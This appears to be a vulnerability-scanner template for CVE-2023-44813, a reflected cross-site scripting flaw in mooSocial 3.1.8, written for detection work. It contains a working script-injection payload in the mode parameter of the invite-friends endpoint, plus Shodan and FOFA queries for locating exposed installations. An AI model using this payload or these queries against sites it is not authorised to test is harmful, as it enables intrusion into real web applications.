id: CVE-2023-44813

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-Site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code via a crafted payload to the mode parameter of the invite friend login function.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft
  remediation: |
    Upgrade to a patched version of mooSocial
  reference:
    - https://github.com/ahrixia/CVE-2023-44813
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44813
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44813
    cwe-id: CWE-79
    epss-score: 0.20785
    epss-percentile: 0.95687
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query:
      - http.favicon.hash:702863115
      - http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve,cve2023,moosocial,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;'"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "initInviteFriendBtn('model');alert(document.domain)//;"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220576385dedf018d4c819b1c172cc651aa4c33c6fc5bfd4e86d3540d813ea1f1bc022100e7673c5c5e654a059a7358bf1d1128cfd531e142ed5457a931ca39cf001500de:922c64590222798bb761d5b6d8e72950